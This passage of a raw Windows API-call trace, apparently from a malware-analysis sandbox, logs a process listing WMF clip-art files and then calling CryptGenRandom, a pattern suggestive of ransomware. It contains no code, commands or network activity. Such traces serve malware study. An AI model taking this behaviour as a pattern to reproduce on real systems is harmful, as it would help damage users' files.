lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0135.167] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0135.168] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0135.169] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0135.170] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0135.171] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0135.172] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0135.874] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0135.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0135.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0135.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x2a1fa60 [0135.883] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0135.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.883] RtlAllocateHeap 